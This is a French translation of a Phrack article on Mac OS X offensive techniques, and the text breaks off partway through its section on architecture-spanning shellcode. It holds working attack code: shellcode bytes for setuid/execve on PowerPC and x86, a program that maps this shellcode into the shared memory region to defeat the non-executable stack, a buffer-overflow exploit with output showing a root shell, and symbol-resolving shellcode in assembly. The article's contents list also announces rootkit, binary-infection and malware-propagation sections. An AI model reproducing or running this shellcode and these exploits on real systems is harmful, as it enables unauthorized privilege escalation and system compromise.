Traduction du 01/03/2007, dernière relecture par misc le 26/01/2009.
==Phrack Inc.==
Volume 0x0c, Issue 0x40, Phile #0x0b of 0x11
|=-----------------------------------------------------------------------=|
|=-------------------=[ Mac OS X wars - a XNU Hope ]=--------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ By nemo ]=------------------=|
|=-----------------=[ ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|
--[ Sommaire
1 - Introduction
2 - Local shellcode maneuvering.
2.1 Historical perspective 1: Aleph1
2.2 Historical perspective 2: Radical Environmentalist
2.3 Beating stack prot :P or whatever
3 - Résoudre les symboles dans un shellcode
4 - Architecture Spanning Shellcode
5 - Écrire des shellcode noyau
5.1 - Escalade locale de privilèges
5.2 - Casser un chroot()
5.3 - Améliorations
6 - Misc Rootkit Techniques
7 - Infection de "Universal Binary format"
8 - Exemple de cracking - Prey
9 - Propagation passive de malware avec mDNS
10 - Exploitation de Kernel Zone Allocator
11 - Conclusion
12 - Références
13 - Annexes - Code
--[ 1 - Introduction
Ce papier a été écrit pour documenter mes recherches quand je jouais avec
les shellcodes pour Mac OS X. Cependant, pendant ce temps, ce papier s'est
transformé et a évolué pour couvrir une sélection de sujets relatifs à Mac
OS X qui vous feront, j'espère, une lecture intéressante.
À cause de la popularité grandissante de Mac OS X sur Intel dans des
plateformes PowerPC, je me suis principalement intéressé aux techniques
pour ces dernières. Beaucoup des concepts montrés sont toujours applicables
pour les architectures PowerPC, mais leur implémentation particulière est
laissée en exercice au lecteur.
Il y a déjà quelques documents biens écrits pour PowerPC et le langage
assembleur d'Intel ; je ne ferai donc aucune tentative d'essayer de vous
apprendre ces choses.
Si vous avez des suggestions sur comment raccourcir/éclaircir le code que
j'ai écrit pour ce papier, veuillez m'envoyer un email avec les détails à
l'adresse suivante :
nemo@felinemenace.org.
Un fichier tar contenant tout les codes référencés dans ce papier peut se
trouver en Annexe A.
--[ 2 - [Local shellcode maneuvering.]
Avec les années, il y a eu beaucoup de techniques différentes pour calculer
des adresses de retour valides quand on exploite un buffer overflow dans
des applications locales à notre système. Malheureusement, beaucoup de ces
techniques sont maintenant obsolètes sur les systèmes Mac OS X basés sur
Intel avec l'introduction d'une pile non exécutable dans la version 10.4
(Tiger).
Dans les sous-sections suivantes, je discuterai de quelques approches
historiques pour calculer l'adresse des shellcodes en mémoire et
introduirai une nouvelle méthode pour positionner un shellcode à un endroit
fixé dans l'espace d'adressage d'un processus cible vulnérable.
--[ 2.1 Historical perspective 1: Aleph1
Avec les années, il y a eu beaucoup de techniques différentes développées
pour calculer une adresse de retour valide quand on exploite un buffer
overflow sur une application locale à notre système. La plus connue de ces
technique est expliquée dans l'article "Smashing the Stack for Fun and
Profit" d'aleph1 [9]. Dans ce papier, aleph1 écrit simplement une petite
fonction get_sp() montrée juste ici :
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
Cette fonction retourne le pointeur de pile courant (esp). aleph1 se
déplace alors simplement par rapport à cette valeur, en essayant de toucher
le tampon de nops avant son shellcode sur la pile. Cette méthode n'est pas
aussi précise qu'elle pourrait, et nécessite au shellcode d'être stocké sur
la pile. C'est un problème évident si votre pile n'est pas exécutable.
--[ 2.2 Historical perspective 2: Radical Environmentalist
Une autre méthode pour stocker un shellcode et calculer son adresse dans un
autre processus est montrée par le papier Radical Environmentalist écrit
par le Netric Security Group [10].
Dans ce papier, les auteurs montrent que l'appel execve() permet un
contrôle total sur la pile du tout nouveau processus. Grâce à ça, le
shellcode peut être stocké dans une variable d'environnement, dont
l'adresse peut-être calculée comme un déplacement à partir du sommet de la
pile.
Dans les plus vieux exploit sous Mac OS X (avant 10.4), cette technique
marchait assez bien, puisqu'il n'y a pas de pile non-exécutable sous
PowerPC.
--[ 2.3 Beating stack prot :P or whatever
Dans le papier de KF "Non eXecutable Stack Loving on Mac OS X86" [11],
l'auteur montre une technique pour retirer la protection de la pile en
retournant dans mprotect() dans libSystem (lic) avant de retourner dans son
payload. Bien que cette technique soit très utile pour les exploits
distants, une solution plus élégante existe pour les exploitations locales.
La première étape pour avoir notre shellcode en place est de récupérer un
shellcode. Il y a déjà eu des travaux publiés significatifs dans ce
domaine. Si vous êtes intéressés sur la manière d'écrire un shellcode pour
Mac OS X à utiliser pour gagner des privilèges en local, une paire de
papier que vous devriez vraiment lire sont dans la bibliographie. [1] et
[8]. Le shellcode choisi pour le code en exemple est décrit en entier en
section 2 de ce papier.
La méthode que je propose maintenant se base sur un appel système Mac OS X
non documenté "shared_region_mapping_np". Cet appel système est utilisé à
l'exécution par le chargeur dynamique (dyld) pour mapper des librairies
fortement utilisée à travers les espaces d'adressages de tous les processus
du système ; cette fonctionnalité a beaucoup d'utilisation diaboliques.
Le fichier /usr/include/sys/syscalls.h contient le numéro d'appel système
pour tous les appels systèmes. Voici la bonne ligne dans ce fichier qui
contient notre appel système
#define SYS_shared_region_map_file_np 299
Voici la signature de cet appel système :
struct shared_region_map_file_np(
int fd,
uint32_t mappingCount,
user_addr_t mappings,
user_addr_t slide_p
);
Les paramètres de cet appel sont très simples :
fd un descripteur de fichier ouvert, fournissant un accès aux
données qui doivent être chargées en mémoire.
mappingCount le nombre de mappings que nous voulons faire à partir du
fichier.
mappings un pointeur vers un tableau de structures
_shared_region_mapping_np qui décrivent chaque mapping
(voir plus loin).
slide_p détermine si l'appel système est autorisé à glisser sur les
mapping à côté dans la zone mémoire partagée pour le faire
rentrer.
Voici la définition de la structure pour les éléments du troisième
paramètre :
struct _shared_region_mapping_np {
mach_vm_address_t address;
mach_vm_size_t size;
mach_vm_offset_t file_offset;
vm_prot_t max_prot;
vm_prot_t init_prot;
};
Les éléments de la structure ci-dessus peuvent être expliqué comme suit :
address l'adresse dans la zone partagée où les données doivent être
stockées.
size la taille du mapping (en octets)
file_offset l'offset [NDT : décalage] dans le descripteur de fichier
auquel nous devons bouger pour atteindre le début des
données.
max_prot C'est la protection maximale du mapping, cette valeur est
créée en faisant un ou logique entre
VM_PROT_EXECUTE,VM_PROT_READ,VM_PROT_WRITE et VM_COW.
init_prot C'est la protection initiale du mapping, encore une fois,
elle est créée par un ou logique entre les valeurs
mentionnée plus haut.
Les #define's suivants décrivent les régions partagées dans lesquelles on
peut mettre nos données. Ils montrent les différentes régions dans la plage
d'adresse 0x00000000->0xffffffff qui sont disponibles comme régions
partagées. Ces régions sont définies par leur adresse de début et leur
taille.
#define SHARED_LIBRARY_SERVER_SUPPORTED
#define GLOBAL_SHARED_TEXT_SEGMENT 0x90000000
#define GLOBAL_SHARED_DATA_SEGMENT 0xA0000000
#define GLOBAL_SHARED_SEGMENT_MASK 0xF0000000
#define SHARED_TEXT_REGION_SIZE 0x10000000
#define SHARED_DATA_REGION_SIZE 0x10000000
#define SHARED_ALTERNATE_LOAD_BASE 0x09000000
Pour réduire les chances que notre offset de shellcode soit stocké dans une
adresse qui ne contient pas d'octets NULL (rendant donc cette technique
viable pour les débordements basés sur les chaînes de caractère), nous
positionnons le shellcode à la dernière adresse dans une région où une page
(0x1000 octets) peut être mappée. En faisant comme ça, notre shellcode sera
stocké à une adresse du style 0x9ffffxxx.
Le code suivant peut être utilisé pour mapper un shellcode dans un endroit
fixé en ouvrant le fichier "/tmp/mapme" et en y écrivant notre shellcode.
Il utilise ensuite le descripteur de fichier pour appeler
"shared_region_map_file_np" qui mappera le code, ainsi qu'une paire d'int3
(cc) dans la région partagée.
/*--------------------------------------------------------
* [ sharedcode.c ]
*
* by nemo@felinemenace.org 2007
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BASE_ADDR 0x9ffff000
#define PAGESIZE 0x1000
#define FILENAME "/tmp/mapme"
char dual_sc[] =
"\x5f\x90\xeb\x60"
// setuid() seteuid()
"\x38\x00\x00\xb7\x38\x60\x00\x00"
"\x44\x00\x00\x02\x38\x00\x00\x17"
"\x38\x60\x00\x00\x44\x00\x00\x02"
// ppc execve() code by b-r00t
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"
"\x39\x40\x01\x70\x39\x1f\xfe\xcf"
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x38\x0a\xfe\x91\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
// seteuid(0);
"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
"\x80"
// setuid(0);
"\x31\xc0\x50\xb0\x17\x6a\x7f\xcd"
"\x80"
// x86 execve() code / nemo
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";
struct _shared_region_mapping_np {
mach_vm_address_t address;
mach_vm_size_t size;
mach_vm_offset_t file_offset;
vm_prot_t max_prot; /* read/write/execute/COW/ZF */
vm_prot_t init_prot; /* read/write/execute/COW/ZF */
};
int main(int argc,char **argv)
{
int fd;
struct _shared_region_mapping_np sr;
char data[PAGESIZE] = { 0xcc };
char *ptr = data + PAGESIZE - sizeof(dual_sc);
sr.address = BASE_ADDR;
sr.size = PAGESIZE;
sr.file_offset = 0;
sr.max_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
sr.init_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
if((fd=open(FILENAME,O_RDWR|O_CREAT))==-1)
{
perror("open");
exit(EXIT_FAILURE);
}
memcpy(ptr,dual_sc,sizeof(dual_sc));
if(write(fd,data,PAGESIZE) != PAGESIZE)
{
perror("write");
exit(EXIT_FAILURE);
}
if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1)
{
perror("shared_region_map_file_np");
exit(EXIT_FAILURE);
}
close(fd);
unlink(FILENAME);
printf("[+] shellcode at: 0x%x.\n",sr.address +
PAGESIZE -
sizeof(dual_sc));
exit(EXIT_SUCCESS);
}
/*---------------------------------------------------------*/
Quand nous compilons et exécutons ce code, il imprime l'adresse de notre
shellcode en mémoire. Vous pouvez le voir ci-dessous :
-[nemo@fry:~/code]$ gcc sharedcode.c -o sharedcode
-[nemo@fry:~/code]$ ./sharedcode
[+] shellcode at: 0x9fffff71.
Comme on peut le voir, l'adresse utilisée par notre shellcode est
0x9fffff71. Cette adresse, comme on s'en doutait, n'utilise pas l'octet 0.
Vous pouvez tester que la procédure s'est bien passée en lançant un
processus et en s'y connectant avec gdb.
En sautant à cette adresse avec la commande "jump" dans gdb, notre
shellcode est exécuté et un prompt bash est affiché.
-[nemo@fry:~/code]$ gdb /usr/bin/id
GNU gdb 6.3.50-20050815 (Apple version gdb-563)
(gdb) r
Starting program: /usr/bin/id
^C[Switching to process 752 local thread 0xf03]
0x8fe01010 in __dyld__dyld_start ()
Quit
(gdb) jump *0x9fffff71
Continuing at 0x9fffff71.
(gdb) c
Continuing.
-[nemo@fry:Users/nemo/code]$
Pour vous montrer comment ça peut être utilisé dans un exploit, j'ai créé
un programme trivialement exploitable :
/*
* exploitme.c
*/
int main(int ac, char **av)
{
char buf[50] = { 0 };
printf("%s",av[1]);
if(ac == 2)
strcpy(buf,av[1]);
return 1;
}
Voici l'exploit pour le programme ci-dessus :
/*
* [ exp.c ]
* nemo@felinemeance.org 2007
*/
#include
#include
#define VULNPROG "./exploitme"
#define OFFSET 66
#define FIXEDADDR 0x9fffff71
int main(int ac, char **av)
{
char evilbuff[OFFSET];
char *args[] = {VULNPROG,evilbuff,NULL};
char *env[] = {"TERM=xterm",NULL};
long *ptr = (long *)&(evilbuff[OFFSET - 4]);
memset(evilbuff,'A',OFFSET);
*ptr = FIXEDADDR;
execve(*args,args,env);
return 1;
}
Comme vous pouvez le voir, nous remplissons le buffer avec des A, suivi de
notre adresse calculée par sharecode.c. Après le strcpy, notre adresse de
retour stockée sur la pile est écrasée par notre nouvelle adresse de retour
(0x9ffffff71) et notre shellcode est exécuté.
Si nous faisons un "chown root /exploitme; chmod +s /exploitme;" nous
pouvons voir que notre shellcode est mappé dans un processus suid, ce qui
rend cette technique faisable pour élever ses privilèges. Comme nous
contrôlons les protections mémoire sur notre mapping, nous contournons la
protection en non-exécution de la pile.
-[nemo@fry:/]$ ./exp
fry:/ root# id
uid=0(root)
Un limitation de la technique est que le fichier que vous mappez dans une
région mémoire partagée doit exister sur le système de fichier racine.
C'est clairement expliqué dans le commentaire ci-dessous :
/*
* The split library is not on the root filesystem. We don't
* want to pollute the system-wide ("default") shared region
* with it.
* Reject the mapping. The caller (dyld) should "privatize"
* (via shared_region_make_private()) the shared region and
* try to establish the mapping privately for this process.
*/
[ NDT : La librairie divisée n'est pas sur le système de fichier racine.
Nous ne voulons pas polluer les régions partagées ("par
défaut") de tout le système avec elle.
Rejeter le mapping. L'appellant (dyld) devrait "privatiser"
(via shared_region_make_private()) la région partagée et essayer
d'établir le mapping de manière privée avec ce processus. ]
*/
Une autre limitation à cette technique est qu'Apple a verrouillé ce syscall
avec les lignes de code suivantes :
*
* This system call is for "dyld" only.
*
[NDT : cet appel système est pour "dyld" uniquement. ]
Heureusement, nous pouvons écraser cette magnifique protection en...
l'ignorant complètement.
--[ 3 - Résoudre les symboles dans un shellcode
Dans cette section, je vais montrer une méthode qui peut être utilisée pour
résoudre l'adresse d'un symbole à partir d'un shellcode.
C'est utile dans une exploitation à distance quand vous voulez accéder ou
modifier quelques fonctionnalités du programme vulnérable. ça pourrait
aussi être utile pour appeler quelques fonctions dans une librairie
partagée particulière dans l'espace d'adressage.
Les exemples dans cette section sont écrit pour l'assembleur Intel, dans la
syntaxe nasm. Les concepts présentés peuvent facilement être recréés en
assembleur PowerPC. Si quelqu'un prend le temps de le faire, prévenez moi.
La méthode que je vais décrire nécessite quelques connaissances de base sur
le format d'objets Mach-O et sur la façon dont les symboles sont
stockés/résolus. J'essayerai d'être aussi verbeux que possible, cependant,
si plus de recherches sont nécessaires, allez voir les documents Mach-O
Runtime sur le site d'Apple [4].
Le processus pour résoudre les symboles que je vais décrire dans cette
section implique de localiser la section LINKEDIT en mémoire.
La section LINKEDIT est découpée en une table des symboles (symtab) et une
table de chaînes (strtab) comme suit :
[ LINKEDIT SECTION ]
mémoire basse: 0x0
.________________________________,
|----(la symtab commence ici)----|
| |
| |
| |
| ... |
|----(la strtab commence ici)----|
|"_mh_execute_header\0" |
|"dyld_start\0" |
|"main" |
| ... |
:________________________________;
mémoire haute : 0xffffffff
En localisant le début de la table des chaînes et celui de la table des
symbole par rapport à l'adresse de la section LINKEDIT, il est possible de
faire des boucles dans chacune des structures nlist dans la table des
symboles et d'accéder aux chaînes appropriées dans la table des chaînes. Je
vais maintenant rentrer dans cette technique plus en détails.
Pour résoudre des symboles, nous commençons par localiser le mach_header en
mémoire. Ce sera le début de notre [mapped] dans l'image mach-o. Une
manière de le trouver est de lancer la commande "nm" sur notre binaire et
de localiser l'adresse du symbole __mh_execute_header.
Pour l'instant sous Mac OS X, l'exécutable est simplement mappé au début de
la première page. 0x1000.
Nous pouvons le vérifier de la manière suivante :
-[nemo@fry:~]$ nm /bin/sh | grep mh_
00001000 A __mh_execute_header
(gdb) x/x 0x1000
0x1000: 0xfeedface
Comme vous pouvez le voir, le nombre magique (0xfeedface) est en 0x1000.
C'est notre header mach-O. Sa structure est la suivante :
struct mach_header
{
uint32_t magic;
cpu_type_t cputype;
cpu_subtype_t cpusubtype;
uint32_t filetype;
uint32_t ncmds;
uint32_t sizeofcmds;
uint32_t flags;
};
Dans mon shellcode, je suppose que le fichier que j'analyse a toujours une
section LINKEDIT et une commande de chargement de la table des symboles
(LC_SYMTAB). Ça signifie que je ne m'embête pas à analyser la structure
mach_header. Cependant, si vous ne voulez pas faire cette supposition, il
est assez facile de boucler ncmds nombre de fois en analysant la commande
de chargement.
Directement après la structure mach_header en mémoire, on trouve une paire
de load_command. Chacune d'entre elles commencent avec un champs id "cmd"
et la taille de la commande.
Donc, nous commençons notre shellcode en mettant dans ecx, l'adresse de la
première commande de chargement, directement après la structure mach-header
en mémoire. Ça nous positionne en 0x101c. Nous mettons alors à zéros
quelques registres pour les utiliser plus tard dans le code.
;# null out some stuff (ebx,edx,eax)
xor ebx,ebx
mul ebx
;# position ecx past the mach_header.
xor ecx,ecx
mov word cx,0x101c
Pour la résolution des symboles, nous ne sommes intéressés qu'à la commande
LC_SEGMENT et LC_SYMTAB. En particulier, nous cherchons la structure
LC_SEGMENT de LINKEDIT. C'est expliqué plus en détails plus loin.
Les #define pour tout ceci sont dans /usr/include/mach-o/loader.h comme
suit :
#define LC_SEGMENT 0x1
/* segment of this file to be mapped */
#define LC_SYMTAB 0x2
/* link-edit stab symbol table info */
La commande LC_SYMTAB utilise la structure suivante :
struct symtab_command
{
uint_32 cmd;
uint_32 cmdsize;
uint_32 symoff;
uint_32 nsyms;
uint_32 stroff;
uint_32 strsize;
};
Le champ symoff contient l'offset à partir du début du fichier vers la
table des symboles. Le champ stroff contient l'offset vers la table des
chaînes. À la fois la table des symboles et celle des chaînes sont stockées
dans la section LINKEDIT.
En soustrayant symoff à stroff, nous obtenons l'offset dans la section
LINKEDIT dans laquelle lire nos chaînes. Le champ nsyms peut être utilisé
comme compteur de boucle quand on lit la symtab. Pour cet exemple, par
contre, j'ai supposé que le symbole existait et ignoré le champ nsyms
complètement.
Nous trouvons la commande LC_SYMTAB en bouclant simplement dedans et en
vérifiant que le champ "cmd" vaut 0x2.
La section LINKEDIT est un tout petit peu plus difficile à trouver, nous
devons chercher après une commande avec un type cmd à 0x01
(segment_command), et chercher après le nom "__LINKEDIT" dans le champ
segname de la structure. La structure segment_command est montrée ci-après
:
struct segment_command
{
uint32_t cmd;
uint32_t cmdsize;
char segname[16];
uint32_t vmaddr;
uint32_t vmsize;
uint32_t fileoff;
uint32_t filesize;
vm_prot_t maxprot;
vm_prot_t initprot;
uint32_t nsects;
uint32_t flags;
};
Je vais maintenant continuer par une explication du code assembleur utilisé
pour mettre en oeuvre cette technique.
J'ai utilisé une machine à état triviale pour boucler sur chaque
load_command jusqu'à ce qu'on ait trouvé la table des symboles et l'adresse
virtuelle de LINKEDIT.
D'abord, nous vérifions quel type de load_command et nous sautons vers le
code approprié, si c'est l'un des types dont nous avons besoin.
next_header:
cmp byte [ecx],0x2 ;# test pour LC_SYMTAB (0x2)
je found_lcsymtab
cmp byte [ecx],0x1 ;# test pour LC_SEGMENT (0x1)
je found_lcsegment
Les deux instructions suivantes ajoutent la longueur du champ de la
load_command à notre pointeur. Ceci nous positionne sur le champ "cmd" de
la prochaine load_command en mémoire. Nous retournons à next_header et
continuons les comparaisons.
next:
add ecx,[ecx + 0x4] ;# ecx += length
jmp next_header
Le code de found_lcsymtab est appelé quand cmd == 0x02. Nous faisons la
supposition qu'il n'y a qu'une seule LC_SYMTAB. Nous pouvons utiliser le
fait que si nous sommes là, eax n'a pas encore été mis et vaut 0. En le
comparant avec edx nous pouvons voir si le segment LINKEDIT a été trouvé.
Après le cmp, nous mettons eax à jour avec l'adresse trouvée, nous sautons
au code "found_both", sinon, nous continuons avec next_handler.
found_lcsymtab:
cmp eax,edx ;# utilise le fait qu'eax vaut 0 pour tester edx
mov eax,ecx ;# met le pointeur courant dans eax.
jne found_both ;# Nous avons trouvé LINKEDIT et LC_SYMTAB
jmp next ;# continue la recherche après LINKEDIT
Le code found_lcsegment est très similaire à found_lcsymtab. Cependant,
puisqu'il y a beaucoup de commandes LC_SEGMENT dans la plupart des
fichiers, nous devons être sûr d'avoir bien trouvé la section __LINKEDIT.
Pour le faire, nous ajoutons 8 au pointeur de la structure pour récupérer
la chaîne segname[]. Nous sautons alors deux caractères, pour éviter "__"
et testons les 4 octets suivants ; "LINK". 0x4b4e494c vient du codage
(big/little indian). Encore une fois, nous utilisons le fait qu'il ne
devrait y avoir qu'une seule section LINKEDIT. Ceci veut dire que si nous
avons passé le test de "LINK", edx vaut 0. Nous l'utilisons pour tester eax,
pour voir si la commande LC_SYMTAB a été trouvée. Encore une fois, si nous
avons fini, nous sautons à found_both, sinon, nous continuons avec
next_header.
found_lcsegment:
lea esi,[ecx + 0x8] ;# récupère le pointeur vers le nom
;# test for "LINK"
cmp long [esi + 0x2],0x4b4e494c
jne next ;# ce n'est pas LINKEDIT, on passe !
cmp edx,eax ;# utilise edx pour tester eax
mov edx,ecx ;# met l'adresse courante dans edx
jne found_both ;# ok, c'est bon
jmp next ;# on doit encore trouver LC_SYMTAB
;# on continue
;# EDX = structure LINKEDIT
;# EAX = structure LC_SYMTAB
Maintenant que nous avons nos pointeurs vers LINKEDIT et LC_SYMTAB, on peut
soustraire symtab_command.symoff de symtab_command.stroff pour avoir
l'offset de la table des chaînes à partir du début de LINKEDIT. En ajoutant
cet offset à l'adresse virtuelle de LINKEDIT, nous obtenons l'adresse
virtuelle de la table des chaînes en mémoire.
found_both:
mov edi,[eax + 0x10] ;# EDI = stroff
sub edi,[eax + 0x8] ;# EDI -= symoff
mov esi,[edx + 0x18] ;# esi = VA of linkedit
add edi,esi ;# ajoute l'adresse virtuelle de
;# LINKEDIT à l'offset
La section LINKEDIT contient une liste de structures "struct nlist".
Chacune correspond à un symbole. Le premier union contient un offset dans
la table des chaînes (pour lequel nous avons la VA). Pour trouver le
symbole que nous voulons, nous parcourons simplement le tableau et
rebondissons dans la table des chaînes pour tester la chaîne.
struct nlist
{
union {
#ifndef __LP64__
char *n_name;
#endif
int32_t n_strx;
} n_un;
uint8_t n_type;
uint8_t n_sect;
int16_t n_desc;
uint32_t n_value;
};
Maintenant que nous sommes capables de parcourir les structures nlist, nous
pouvons continuer. Cependant, ça n'a aucun sens de stocker le nom complet
du symbole dans notre shellcode, car ça rendrait le code encore plus grand
qu'il ne l'est déjà. ;/
J'ai choisi de voler^H^H^H^H^Hutiliser la fonction "compute_hash" de skape
disponible dans "Understanding Windows Shellcode" [5]. Il y explique
comment le code fonctionne dans son papier.
Le code suivant montre une simple boucle. D'abord, nous sautons à
l'étiquette "hashes", et appelons le point de départ pour avoir un pointeur
vers notre liste de hash. Nous lisons le premier hash, et bouclons sur
chaque structure nlist, hashons le symbole trouvé et le comparons à nos
hashs précalulés.
Si le hash n'est pas bon, nous retournons à check_next_hash, cependant, si
c'est le bon, nous continuons avec l'étiquette "done".
;# esi == constant pointer to nlist
;# edi == strtab base
lookup_symbol:
jmp hashes
lookup_symbol_up:
pop ecx
mov ecx,[ecx] ;# ecx = premier hash
check_next_hash:
push esi ;# sauvegarde le pointeur nlist
push edi ;# sauvegarde la VA de strtable
mov esi,[esi] ;# *esi = offset depuis strtab vers la
chaine
add esi,edi ;# ajoute la VA à strtab
compute_hash:
xor edi, edi
xor eax, eax
cld
compute_hash_again:
lodsb
test al, al ;# est-on sur le dernier octet ?
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished:
cmp edi,ecx
pop edi
pop esi
je done
lea esi,[esi + 0xc] ;# Ajoute sizeof(struct nlist)
jmp check_next_hash
done:
chaque hash que nous devons résoudre peut être ajouté après l'étiquette
hashes.
;# le hash est dans edi
hashes:
call lookup_symbol_up
dd 0x8bd2d84d
Maintenant que nous avons l'adresse de notre symbole, nous avons fini et
pouvons appeler notre fonction, ou la modifier suivant ce qu'on a besoin.
Pour calculer le hash du symbole dont on a besoin, j'ai copié/collé un peu
du code de skape dans un petit programme c, le voici :
#include
#include
char chsc[] =
"\x89\xe5\x51\x60\x8b\x75\x04\x31"
"\xff\x31\xc0\xfc\xac\x84\xc0\x74"
"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4"
"\x89\x7d\xfc\x61\x58\x89\xec\xc3";
int main(int ac, char **av)
{
long (*hashstr)() = (long (*)())chsc;
if(ac != 2) {
fprintf(stderr,"[!] usage: %s \n",*av);
exit(1);
}
printf("[+] Hash: 0x%x\n",hashstr(av[1]));
return 0;
}
Nous pouvons le lancer comme montré ci-après pour générer nos hashs :
-[nemo@fry:~/code/kernelsc]$ ./comphash _do_payload
[+] Hash: 0x8bd2d84d
Si le symbole que nous avons résolu est une fonction que nous voulons
appeler, nous avons encore besoin de faire quelques petites choses avant
que ça soit possible.
L'éditeur de lien de Mac OS X, par défaut, utilise du [lazy binding] pour
les symboles externes. Ça veut dire que si vous tentez d'appeler une autre
fonction dans une librairie externe, qui n'a pas encore été appelée ailleurs
dans le programme, l'éditeur de lien dynamique va essayer de résoudre
l'adresse tel que vous l'avez appelé.
Par exemple, un appel à execve() avec un [lazy binding] va être remplacé
par un appel à dyld_stub_execve() comme montré ci-après :
0x1f54 : call 0x301b
À l'exécution, cette fonction contient une instruction :
call 0x8fe12f70 <__dyld_fast_stub_binding_helper_interface>
Ceci invoque le dyld qui résout le symbole et remplace cette instruction
avec un jmp au bon endroit :
jmp 0x9003b7d0
Le seul problème que ça génère est que cette fonction requiert que le
pointeur de pile soit correctement aligné, sinon, notre code va échouer.
Pour le faire, nous soustrayons simplement 0xc à notre pointeur de pile
avant d'appeler notre fonction.
Note :
Ceci ne sera pas nécessaire si le programme que vous exploitez a
été compilé avec le flag -bind-at-load.
Voici le code que j'ai utilisé pour faire un appel.
done:
mov eax,[esi + 0x8] ;# eax == value
xchg esp,edx ;# ennuyeusement large
sub dl,0xc ;# façon d'aligner le pointeur de pile
xchg esp,edx ;# sans avoir d'octet 0
call eax
xchg esp,edx ;# ennuyeusement large
add dl,0xc ;# manière de placer le pointeur de pile
xchg esp,edx ;# sans avoir d'octet 0.
ret
J'ai écrit un simple programme d'exemple en C pour montrer ce code en
action.
Le code suivant n'a aucun appel vers do_payload(). Le shellcode va résoudre
l'adresse de cette fonction et l'appeler.
#include
#include
char symresolve[] =
"\x31\xdb\xf7\xe3\x31\xc9\x66\xb9\x1c\x10\x80\x39\x02\x74\x0a\x80"
"\x39\x01\x74\x0d\x03\x49\x04\xeb\xf1\x39\xd0\x89\xc8\x75\x16\xeb"
"\xf3\x8d\x71\x08\x81\x7e\x02\x4c\x49\x4e\x4b\x75\xe7\x39\xc2\x89"
"\xca\x75\x02\xeb\xdf\x8b\x78\x10\x2b\x78\x08\x8b\x72\x18\x01\xf7"
"\xeb\x39\x59\x8b\x09\x56\x57\x8b\x36\x01\xfe\x31\xff\x31\xc0\xfc"
"\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x39\xcf\x5f\x5e"
"\x74\x05\x8d\x76\x0c\xeb\xde\x8b\x46\x08\x87\xe2\x80\xea\x0c\x87"
"\xe2\xff\xd0\x87\xe2\x80\xc2\x0c\x87\xe2\xc3\xe8\xc2\xff\xff\xff"
"\x4d\xd8\xd2\x8b"; // HASH
void do_payload()
{
char *args[] = {"/usr/bin/id",NULL};
char *env[] = {"TERM=xterm",NULL};
printf("[+] Executing id.\n");
execve(*args,args,env);
}
int main(int ac, char **av)
{
void (*fp)() = (void (*)())symresolve;
fp();
return 0;
}
Comme vous pouvez le voir juste après, ce code fonctionne tel qu'on s'y
attend.
-[nemo@fry:~]$ ./testsymbols
[+] Executing id.
uid=501(nemo) gid=501(nemo) groups=501(nemo)
Le code assembleur complet pour la méthode montrée dans cette section est
disponible en annexe de ce papier.
À la base, j'ai travaillé sur cette méthode pour résoudre les symboles
noyaux.
Malheureusement, le noyau libére la section LINKEDIT après
avoir démarré. Avant de le faire, il écrit le fichier mach-o /mach.sym
contenant les informations des symboles pour le noyau.
Si vous voyez le flag de démarrage keepsym, la section LINKEDIT ne sera pas
libérée et les symboles resteront dans la mémoire du noyau.
Dans ce cas, nous pouvons utiliser le code montré dans cette section, et
scanner simplement la mémoire à partir de l'adresse 0x1000 jusqu'à ce que
nous trouvions 0xfeedface. Voici le code assembleur pour le faire :
SECTION .text
_main:
xor eax,eax
inc eax
shl eax,0xc ;# eax = 0x1000
mov ebx,0xfeedface ;# ebx = 0xfeedface
up:
inc eax
inc eax
inc eax
inc eax ;# eax += 4
cmp ebx,[eax] ;# if(*eax != ebx) {
jnz up ;# goto up }
ret
Une fois que c'est fait, nous pouvons résoudre les symboles comme on en
a besoin.
--[ 4 - Architecture Spanning Shellcode
Depuis le changement d'architecture de PowerPC vers Intel, il est de plus
en plus habituel de trouver à la fois des Mac OS X sur des Mac PowerPC
d'autres sur Intel. Au dessus de ça, Mac OS X vient avec une technologie de
virtualisation fait par Transitive appelée Rosetta qui permet à un mac Intel
d'exécuter un binaire PowerPC. Ça veut dire que même après avoir trouvé
l'emprunte de l'architecture d'une machine comme étant Intel, il y a une
chance que le démon réseau auquel vous faites face soit compilé pour
PowerPC. Ceci pose un un challenge quand on écrit un shellcode pour un
exploit distant car il est plus difficile de trouver l'empreinte de la
machine. Cela aboutira a des ratés.
Pour éviter ça, il y a une technique utilisée pour créer des shellcodes qui
s'exécutent à la fois sous architectures Intel et PowerPC.
Cette technique a été documentée dans l'article de phrack homonyme de cette
section [16]. Je fournis ici une brève explication car cette technique est
utilisée dans le reste de ce papier.
La base de cette technique consiste à trouver une instruction PowerPC qui,
une fois exécutée, va simplement passer à l'instruction suivante. Elle doit
le faire sans effectuer aucun accès mémoire, uniquement changer l'état des
registres. Par contre, une fois que cette instruction est interprétée comme
un opcode Intel, un saut doit être effectué au delà de la portion de code
PowerPC et vers la zone Intel. De cette façon, le type d'architecture peut
facilement être déterminé.
Il existe une telle instruction. C'est l'instruction "rlwnm".
Voici la définition de cette instruction, d'après le manuel PowerPC :
(rlwnm) Rotate Left Word then AND with Mask (x'5c00 0000')
rlwnm rA,rS,rB,MB,ME (Rc = 0)
